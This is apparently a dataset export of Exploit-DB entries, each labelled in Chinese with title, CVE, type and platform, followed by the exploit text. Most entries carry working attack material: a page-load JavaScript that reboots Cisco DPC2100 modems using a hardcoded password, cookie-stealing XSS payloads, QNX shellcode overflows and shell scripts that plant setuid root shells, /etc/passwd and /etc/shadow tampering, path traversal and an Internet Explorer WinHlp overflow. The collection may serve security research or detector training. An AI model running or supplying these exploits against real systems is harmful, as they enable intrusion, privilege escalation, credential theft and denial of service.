QLWD/code_shield huggingface dataset:
标题: Cisco DPC2100 - Denial of Service EDB-ID: 21523 CVE: 2011-1613 类型: DOS 平台: HARDWARE 发布日期: 2012-09-26 漏洞利用脚本: # Exploit Title: Cisco DPC2100 Denial of Service
# Date: 09/01/2010
# Author: Daniel Smith
# Software Link: http://www.cisco.com/
# Version: HW:2.1/SW:v2.0.2r1256-060303
# Tested on: OSX 10.6/Win7
# CVE: CVE-2011-1613

=======================================================
 Information
=======================================================
Executing this script on page load will cause the users modem to restart when 
they visit the page. This example uses javascript but can just as easily written
to in another language to accomplish something similar. Attack consists of
two parts.

Part 1 - Privilege Escalation:
POST: http://192.168.100.1/goform/_aslvl
PARAMS: SAAccessLevel=2&SAPassword=W2402

Part 2 - Modem Restart:
POST: http://192.168.100.1/goform/gscan
PARAMS: SADownStartingFrequency=705000000

=======================================================
 Proof of Concept (Javascript)
=======================================================
(function() {
  var b=document.getElementsByTagName('body')[0];
  var otherlib=false;
 
  if(typeof jQuery!='undefined') {
    console.log('This page already using jQuery v'+jQuery.fn.jquery);
  } else if (typeof $=='function') {
    otherlib=true;
  }
  function getScript(url,success){
    var script=document.createElement('script');
    script.src=url;
    var head=document.getElementsByTagName('head')[0],
        done=false;
    // Attach handlers for all browsers
    script.onload=script.onreadystatechange = function(){
      if ( !done && (!this.readyState
           || this.readyState == 'loaded'
           || this.readyState == 'complete') ) {
        done=true;
        success();
        script.onload = script.onreadystatechange = null;
        head.removeChild(script);
      }
    };
    head.appendChild(script);
  }
  getScript('http://code.jquery.com/jquery-latest.min.js',function() {
    if (typeof jQuery=='undefined') {
      console.log('Sorry, but jQuery wasn\'t able to load');
    } else {
   console.log('This page is now jQuerified with v' + jQuery.fn.jquery);
 $.post("http://192.168.100.1/goform/_aslvl", { SAAccessLevel: "2", SAPassword: "W2402" } );
   console.log('Privilege Escalation: temporarily setting SAAccessLevel to \'2\'.');
 $.post("http://192.168.100.1/goform/gscan", { SADownStartingFrequency: "705000000" } );
   console.log('Reboot command sent.');
    }
  });
})(); URL: https://www.exploit-db.com/exploits/21523
标题: Geeklog 1.3.5 - Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 21525 CVE: 2002-0962 类型: WEBAPPS 平台: PHP 发布日期: 2002-06-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/4969/info

Geeklog does not filter script code from URL parameters, making it prone to cross-site scripting attacks. Attacker-supplied script code may be included in a malicious link to the 'index.php' or 'comment.php' script. Such a malicious link might be included in a HTML e-mail or on a malicious webpage.

This may enable a remote attacker to steal cookie-based authentication credentials from legitimate users of a host running Geeklog.

This issue has been reported to exist in Geeklog 1.3.5, earlier versions may also be susceptible to this issue. 

/index.php?topic=&lt;script&gt;alert(document.cookie)&lt;/script&gt;
/comment.php?mode=display&sid=foo&pid=18&title=&lt;script&gt;alert(document.cookie)&lt;/script&gt;&type=article URL: https://www.exploit-db.com/exploits/21525
标题: Slurp 1.10 - SysLog Remote Format String EDB-ID: 21512 CVE: 2002-0913 类型: DOS 平台: FREEBSD 发布日期: 2002-06-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/4935/info

slurp is a freely available, open source NNTP client. It is designed for use on most Unix and Linux operating systems.

It may be possible for a remote server to execute code on a vulnerable client. slurp offers functionality that allows the software to write messages to the system log. A format string vulnerability in the syslog function may allow a malicious server to supply a custom format string that writes to an arbitrary address in memory.

perl -e 'print "200 Hello brother \n666 %x%x%x\n'" | nc -l -p 119

Then check /var/log/messages for something like:

Jun 5 05:10:22 yada slurp[39926]: do_newnews: NNTP protocol error: got '666 bfbff4f8804bc1bbfbff51c' URL: https://www.exploit-db.com/exploits/21512
标题: MyHelpDesk 20020509 - Cross-Site Scripting EDB-ID: 21526 CVE: 2002-0931 类型: WEBAPPS 平台: PHP 发布日期: 2002-06-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/4970/info

It is reported that MyHelpDesk is vulnerable to cross-site scripting attacks.

Attackers may exploit this vulnerability by constructing a link to a vulnerable scripts, passing malicious HTML code as a value for unsanitized CGI parameters. If the link is sent to a MyHelpDesk user and clicked on, the attacker-supplied HTML code will run in the context of the site running the vulnerable software. 

http://[TARGET]/supporter/index.php?t=tickettime&id=&lt;script&gt;alert(document.cookie)&lt;/script&gt; URL: https://www.exploit-db.com/exploits/21526
标题: Microsoft Internet Explorer 5/6 - FTP Web View Cross-Site Scripting EDB-ID: 21515 CVE: 2002-2062 类型: REMOTE 平台: WINDOWS 发布日期: 2002-06-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/4954/info

A cross site scripting issue has been reported with some versions of Microsoft Internet Explorer for Windows. Under some configurations, data included within a FTP URL will be rendered as displayed content, allowing the execution of arbitrary JavaScript code within the Local Computer context.

If both of the 'Enable folder view for FTP sites' and 'Enable Web content in folders' options are enabled, this vulnerability exists. These options are enabled by default.

When a folder is being viewed through FTP, the FTP server name is included in the Web Content information displayed. The FTP server name is not sanitized. A malicious link may define a server name which includes HTML content, including script code. When displayed, this script code will execute within the Local Computer context.

This vulnerability has been confirmed to exist under Windows 2000. Other versions of Windows may share this vulnerability. This has not, however, been confirmed. 

<a href="ftp://%22%3e%3cscript%3ealert(%22Exploit%22)%3b%3c%2fscript%3e%20" target="_blank">Exploit</a> URL: https://www.exploit-db.com/exploits/21515
标题: Voxel Dot Net CBms 0.x - Multiple Code Injection Vulnerabilities EDB-ID: 21517 CVE: 2002-0961 类型: WEBAPPS 平台: PHP 发布日期: 2002-06-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/4957/info

It has been reported that multiple vulnerabilities exist in CBMS. Reportedly, it is possible to inject both JavaScript and SQL code into the system. It may be possible to execute script code within the context of the site as an authenticated administrator, or to view or modify sensitive database information through the subversion of an SQL query.

These issues have been reported in version 0.7 of CBMS. Other versions may share these vulnerabilities, this has not however been confirmed.

dltclnt.php?choice=yes&idnum=clientid URL: https://www.exploit-db.com/exploits/21517
标题: Splatt Forum 3.0 - Image Tag HTML Injection EDB-ID: 21514 CVE: 2002-0959 类型: WEBAPPS 平台: PHP 发布日期: 2002-06-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/4953/info

Splatt Forum does not filter HTML from image tags. This may allow an attacker to inject arbitrary script code in forum messages. Injected script code will be executed in the browser of an arbitrary web user who views the malicious forum message, in the context of the website running Splatt Forum.

This may potentially be exploited to hijack web content or steal cookie-based authentication credentials from legitimate users. 

[img]http://a.a/a"onerror="javascript:alert(document.cookie)[/img] URL: https://www.exploit-db.com/exploits/21514
标题: Teekai Tracking Online 1.0 - Cross-Site Scripting EDB-ID: 21509 CVE: 2002-2055 类型: WEBAPPS 平台: PHP 发布日期: 2002-06-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/4924/info

Teekai's Tracking Online does not adequately filter HTML tags from certain URL parameters, making it prone to cross-site scripting attacks. Attackers may exploit this by creating a malicious link to a vulnerable webpage.

http://target/page.php?action=view&id=1<script>alert(document.cookie)</script > URL: https://www.exploit-db.com/exploits/21509
标题: QNX RTOS 6.1 - '/usr/photon/bin/phlocale' Environment Variable Buffer Overflow EDB-ID: 21505 CVE: 2002-2041 类型: LOCAL 平台: LINUX 发布日期: 2002-06-03 漏洞利用脚本: /*
source: https://www.securityfocus.com/bid/4917/info

The QNX phlocale utility is prone to an exploitable buffer overflow condition. This is due to insufficient bounds checking of the ABLANG environment variable. Exploitation of this issue may result in execution of arbitrary attacker-supplied instructions as root. 
*/

/* QNX phlocale $ABLANG exploit, gives you a cute euid=0 shell. 
 * If it doesnt work for you, then you most likely need to change
 * the address to system() and/or the ret.
 * 
 * www.badc0ded.com 
*/

main ()
{ 
   char s[]="\xeb\x0e\x31\xc0\x5b"
            "\x88\x43\x2\x53\xbb"
            "\x80\x95\x04\x08"       //system() address
            "\xff\xd3\xe8\xed\xff"
            "\xff\xff\x73\x68";
   char payload[1000];
   memset (payload,0x90,sizeof(payload));
   sprintf(payload+971,"%s%s",s,"\x78\x7b\x04\x08");
   setenv("ABLANG",payload);
   execlp("/usr/photon/bin/phlocale","phlocale",0);
} URL: https://www.exploit-db.com/exploits/21505
标题: QNX RTOS 4.25 - monitor Arbitrary File Modification EDB-ID: 21500 CVE: 2002-0793 类型: LOCAL 平台: LINUX 发布日期: 2002-05-31 漏洞利用脚本: source: https://www.securityfocus.com/bid/4902/info

The QNX RTOS monitor utility is prone to an issue which may allow local attackers to modify arbitrary system files (such as /etc/passwd). monitor is installed setuid root by default.

The monitor -f command line option may be used by a local attacker to cause an arbitrary system file to be overwritten. Once overwritten, the attacker will gain ownership of the file.

monitor -f /etc/passwd URL: https://www.exploit-db.com/exploits/21500
标题: QNX RTOS 6.1 - 'PKG-Installer' Local Buffer Overflow EDB-ID: 21506 CVE: 2002-2041 类型: LOCAL 平台: LINUX 发布日期: 2002-06-03 漏洞利用脚本: /*
source: https://www.securityfocus.com/bid/4918/info

It has been reported that the pkg-installer utility for QNX is vulnerable to a buffer overflow condition.

The vulnerability is a result of an unbounded string copy of the argument to the "-U" commandline option of pkg-installer to a local buffer. 
*/

/* Quick and dirty QNX pkg-installer root exploit.
 * The shellcode sucks, it is longer than it has
 * to be and you need the address to system() for 
 * it to work. Yes I know I'm lazy....
 * 
 * http://www.badc0ded.com 
*/

main(int argc, char **argv)
{
   int ret=0x804786d;
   char *pret;
   char s[]="\xeb\x0e\x31\xc0\x5b"
            "\x88\x43\x2\x53\xbb"
            "\xe4\xb4\x04\x08"       //system() address
            "\xff\xd3\xe8\xed\xff"
     "\xff\xff\x73\x68";
   char payload[2000];
   if (argc>=2)
      ret=ret-atoi(argv[1]);
   pret=&ret;
   printf("using ret %x\n",ret);
   memset(payload,0x90,1254);
   sprintf(payload+1254,"%s%s",s,pret);
   execlp("/usr/photon/bin/pkg-installer","pkg-installer","-u",payload,0);

} URL: https://www.exploit-db.com/exploits/21506
标题: QNX RTOS 4.25/6.1 - 'phgrafx' Local Privilege Escalation EDB-ID: 21503 CVE: 2002-2040 类型: LOCAL 平台: LINUX 发布日期: 2002-06-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/4915/info

The QNX phgrafx utility is prone to an issue which may make it possible for local attackers to escalate privileges. This issue is due to unsafe use of the system() function to invoke other programs. This vulnerability may be trivially exploited to gain root privileges.

#!/bin/sh
#
# click advanced,done, apply, accept and done. 
# now you should have a setuid root shell waiting in /tmp/badc0ded
#
# www.badc0ded.com
echo "#!/bin/sh" > /tmp/crttrap
echo "cp /bin/sh /tmp/badc0ded" >> /tmp/crttrap
echo "chmod 4777 /tmp/badc0ded" >> /tmp/crttrap
echo "/usr/bin/crttrap \$1 \$2 \$3 \$4 \$5 \$6 \$7 \$8 \$9 " >> /tmp/crttrap
chmod 755 /tmp/crttrap
export PATH="/tmp:$PATH"
/usr/photon/bin/phgrafx URL: https://www.exploit-db.com/exploits/21503
标题: QNX 6.x - 'ptrace()' Arbitrary Process Modification EDB-ID: 21507 CVE: 2002-2042 类型: LOCAL 平台: LINUX 发布日期: 2002-06-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/4919/info

The QNX implementation of 'ptrace()' is reportedly insecure. An unprivileged process may attach to a setuid program without restriction. Since the attaching process may view or edit memory, an attacker may exploit this issue to escalate privileges.

This issue affects QNX RTOS 6 prior to 6.4.0. 

#!/bin/sh

#include <std_shouts.h>
#include <std_disclaimer.h>
#http://www.badc0ded.com 

echo "#!/bin/sh" > /tmp/runme
echo cp /bin/sh /tmp/sh > /tmp/runme
echo chmod 4755 /tmp/sh >> /tmp/runme
chmod 755 /tmp/runme
echo r root -c /tmp/runme > /tmp/badc0ded
echo break *main+44 >> /tmp/badc0ded
echo c >> /tmp/badc0ded
echo "call setuid(0)" >> /tmp/badc0ded
echo c >> /tmp/badc0ded
gdb /bin/su  < badc0ded > /dev/null
echo "www.badc0ded.com"
sleep 1
rm /tmp/runme /tmp/badc0ded
/tmp/sh URL: https://www.exploit-db.com/exploits/21507
标题: QNX RTOS 4.25/6.1 - 'phgrafx-startup' Local Privilege Escalation EDB-ID: 21504 CVE: 2002-2040 类型: LOCAL 平台: LINUX 发布日期: 2002-06-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/4916/info


The QNX phgrafx-startup utility is prone to an issue which may make it possible for local attackers to escalate privileges. This issue is due to unsafe use of the system() function to invoke other programs. This vulnerability may be trivially exploited to gain root privileges. 

#!/bin/sh
#
# click test,restore,continue  
# now you should have a setuid root shell waiting in /tmp/badc0ded
#
# www.badc0ded.com
echo "#!/bin/sh" > /tmp/crttrap
echo "cp /bin/sh /tmp/badc0ded" >> /tmp/crttrap
echo "chmod 4777 /tmp/badc0ded" >> /tmp/crttrap
echo "/usr/bin/crttrap \$1 \$2 \$3 \$4 \$5 \$6 \$7 \$8 \$9 " >> /tmp/crttrap
chmod 755 /tmp/crttrap
export PATH="/tmp:$PATH"
/usr/photon/bin/phgrafx-startup URL: https://www.exploit-db.com/exploits/21504
标题: QNX RTOS 4.25 - dumper Arbitrary File Modification EDB-ID: 21501 CVE: 2002-0793 类型: LOCAL 平台: LINUX 发布日期: 2002-05-31 漏洞利用脚本: source: https://www.securityfocus.com/bid/4904/info

When creating memory dump files, the QNX RTOS debugging utility 'dumper' follows symbolic links. It also sets ownership of the file to the userid of the terminated process. It is possible for malicious local attackers to exploit this vulnerability to overwrite and gain ownership of arbitrary files. Consequently, attackers may elevate to root privileges by modifying files such as '/etc/passwd'. 

Example exploit, with /bin/dumper:

Let EVIL be the unprivileged user who wants to gain root access.

#link to the passwd file: dumper dumps to [process name].dmp
$ ln /etc/passwd /home/EVIL/ksh.dmp
#call the program that will attempt to write to the hard link
$ dumper -d /home/EVIL -p [PID of EVIL's ksh]
#have dumper do its job by terminating the monitored process
$ exit
#at this point, /etc/passwd is overwritten by the binary dump, and more
importantly: EVIL is now the owner !
$ echo root::0:0::///:/bin/sh > /etc/passwd
#but now no login works because /etc/passwd is not owned by userid 0. #So
you do:

$ passwd

#and change your password. This gives /etc/passwd ownership back to root,
keeping the modifications you have made.

$ su
# URL: https://www.exploit-db.com/exploits/21501
标题: QNX RTOS 4.25 - 'CRTTrap' File Disclosure EDB-ID: 21499 CVE: 2002-0793 类型: LOCAL 平台: LINUX 发布日期: 2002-05-31 漏洞利用脚本: source: https://www.securityfocus.com/bid/4901/info

The QNX RTOS crttrap binary includes a command-line option for specifying a configuration file. crttrap is installed setuid by default. crttrap Local attackers may specify an arbitrary system file in place of the configuration file and crttrap will disclose the contents of the arbitrary file. 

crttrap -c /etc/shadow URL: https://www.exploit-db.com/exploits/21499
标题: QNX RTOS 4.25/6.1 - su Password Hash Disclosure EDB-ID: 21502 CVE: 2002-2039 类型: LOCAL 平台: LINUX 发布日期: 2002-06-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/4914/info

It has been reported that the 'su' utility for QNX RTOS accepts the SIGSEGV signal and dumps a world readable core file. An attacker is able to analyze the core file and obtain very sensitive information.

It is very probable that this is a kernel-based vulnerability affecting not only 'su', but other setuid programs as well 

$su > /dev/null &
$kill -SEGV `ps -A | grep su | awk {'print $1'}`
$strings /var/dumps/su.core | grep ":0:0" > /tmp/mypasswd

The attacker has effectively obtained a copy of the root user's password hash. URL: https://www.exploit-db.com/exploits/21502
标题: Caldera OpenServer 5.0.5/5.0.6 - SCOAdmin Symbolic Link EDB-ID: 21489 CVE: 2002-0887 类型: LOCAL 平台: SCO 发布日期: 2002-05-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/4875/info

A vulnerability has been reported in the scoadmin utility that may allow a local attacker to overwrite any file. The vulnerability is due to the predictable naming of temporary files used by scoadmin. When writing to temporary files, there are no checks to ensure that it does not already exist. Symbolic links will also be followed. This behaviour may be exploited by local attackers to corrupt arbitrary files.

ln -s /etc/passwd /tmp/tclerror.1195.log

If the process ID of the SCOadmin process is 1195, /etc/passwd will be overwritten. URL: https://www.exploit-db.com/exploits/21489
标题: CGIScript.net - 'csPassword.cgi' 1.0 Information Disclosure EDB-ID: 21494 CVE: 2002-0919 2002-0918 类型: WEBAPPS 平台: CGI 发布日期: 2002-05-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/4887/info

CGIScript.net provides various webmaster related tools and is maintained by Mike Barone and Andy Angrick.

A vulnerability has been reported in the csPassword.cgi script developed by CGIScript.net that discloses potentially sensitive information to a user. When an error occurs with the csPassword.cgi script, it displays an error message with a lot of debugging information.

http://target/csPassword.cgi?command=remove

This will cause csPassword to execute the remove() function. This function is not defined and thus will cause an error page to be displayed. URL: https://www.exploit-db.com/exploits/21494
标题: PHPBB2 - Image Tag HTML Injection EDB-ID: 21486 CVE: 2002-0902 类型: WEBAPPS 平台: PHP 发布日期: 2002-05-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/4858/info


It is possible to inject arbitrary HTML into phpBB2 forum messages via the use of BBCode image tags. A similar issue is described in Bugtraq ID 4379 "PHPBB Image Tag User-Embedded Scripting Vulnerability". However, phpBB2 was found to not be vulnerable to this previous issue.

A double-quotation (") character may be used to close the HTML statement that is created when the BBCode is translated. The attacker may then include arbitrary HTML after the double-quotation.

The attacker may exploit this issue to inject script code into forum messages. When such messages are displayed by a web user, the attacker's script code will execute in their browser in the context of the website.

phpBB versions prior to the phpBB2 series may also be affected by this vulnerability. 

[img]http://a.a/a"onerror="javascript:alert(document.cookie)[/img] URL: https://www.exploit-db.com/exploits/21486
标题: Gafware CFXImage 1.6.4/1.6.6 - ShowTemp File Disclosure EDB-ID: 21493 CVE: 2002-0879 类型: WEBAPPS 平台: CFM 发布日期: 2002-05-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/4882/info

Gafware's CFXImage is a custom tag for ColdFusion.

A program included with the CFXImage documentation doesn't properly filter its input. It is reported that a flaw exists in this program that allows a malicious user to read files outside of the permitted directory structure. By using directory traversal sequences (i.e. '/../', '..') or specifying a filename, an attacker can obtain files that may contain potentially sensitive information. 

http://www.server.com/docs/showtemp.cfm?TYPE=JPEG&FILE=c:\boot.ini
http://www.server.com/docs/showtemp.cfm?TYPE=JPEG&FILE=../../../../../../../../../../../../../../../../../../boot.ini

This allows the attacker to view the contents of 'c:\boot.ini'. URL: https://www.exploit-db.com/exploits/21493
标题: Apache Tomcat 3.2.3/3.2.4 - 'RealPath.jsp' Information Disclosuree EDB-ID: 21492 CVE: 2002-2007 类型: REMOTE 平台: MULTIPLE 发布日期: 2002-05-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/4878/info

Apache Tomcat is a freely available, open source web server maintained by the Apache Foundation.

Under some circumstances, Tomcat may yield sensitive information about the web server configuration. When the realPath.jsp page is accessed, it may leak information. Upon being accessed, the realPath.jsp page will display the web root directory of the Tomcat implementation.

http://example.com/test/realPath.jsp URL: https://www.exploit-db.com/exploits/21492
标题: Apache Tomcat 3.2.3/3.2.4 - 'Source.jsp' Information Disclosure EDB-ID: 21490 CVE: 2002-2007 类型: REMOTE 平台: MULTIPLE 发布日期: 2002-05-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/4876/info

Apache Tomcat is a freely available, open source web server maintained by the Apache Foundation.

Under some circumstances, Tomcat may yield sensitive information about the web server configuration. When the source.jsp page is passed a malformed request, it may leak information. This information may include the web root directory, and possibly a directory listing.

http://example.com:80/examples/jsp/source.jsp??
http://example.com:80/examples/jsp/source.jsp?/jsp/ URL: https://www.exploit-db.com/exploits/21490
标题: Microsoft Windows 95/98/2000/NT 4.0 - WinHlp Item Buffer Overflow EDB-ID: 21485 CVE: 2002-0823 类型: REMOTE 平台: WINDOWS 发布日期: 2002-05-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/4857/info

HTML Help ActiveX control (Hhctrl.ocx) ships as part of Microsoft HTML Help and is designed to work with Internet Explorer to provide functionality for help systems.

A remotely exploitable issue has been reported in the WinHlp facility. The software fails to perform sufficient boundary checks of the Item parameter in the WinHlp command. This issue resides in Winhlp32.exe.

An attacker can exploit this condition by embedding a call to the vulnerable ActiveX control in a malicious webpage or HTML email. If successful, the attacker may be able to execute arbitrary code on the client system as the Internet Explorer user.

Note that Windows ships with HTML Help.

The HTML Help ActiveX control can also reportedly be used to mount denial-of-service attacks and exploit other stack- and heap-based overflows.

Tiny Personal Firewall 3.0 reportedly treats the HTML Help facility as a trusted application in the default configuration. As a result, any outgoing/back-channel connections that stem from successful exploits will not be blocked by the firewall in the default configuration. Note that this issue is reportedly not present in Tiny Personal Firewall 2.0. 

<OBJECT classid=clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11
codeBase=hhctrl.ocx#Version=4,72,8252,0 height=0 id=winhelp
type=application/x-oleobject width=0><PARAM NAME="Width"
VALUE="26"><PARAM NAME="Height" VALUE="26"><PARAM NAME="Command"
VALUE="WinHelp"><PARAM NAME="Item1"
VALUE="^Ã^Ã^Ã^Ã^Ã^Ã^Ã^Ã3Ã?Phcalc^Ã4$&#402;Ã?&#1;PVÂ¸Â¯Â§Ã©w^?Ã3Ã?PÂ¾&#8221;^ÃÃ©w^?Ã?AAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOP
PPPQQQQRRRRSSSSTTTAAAA&#11;Â©ÃµwABCDEFGH^Ã&#402;Ã?&#21;^?Ã¦gMyWindow"><PARAM
NAME="Item2" VALUE="NGS Software LTD"></OBJECT>
<SCRIPT>winhelp.HHClick()</SCRIPT> URL: https://www.exploit-db.com/exploits/21485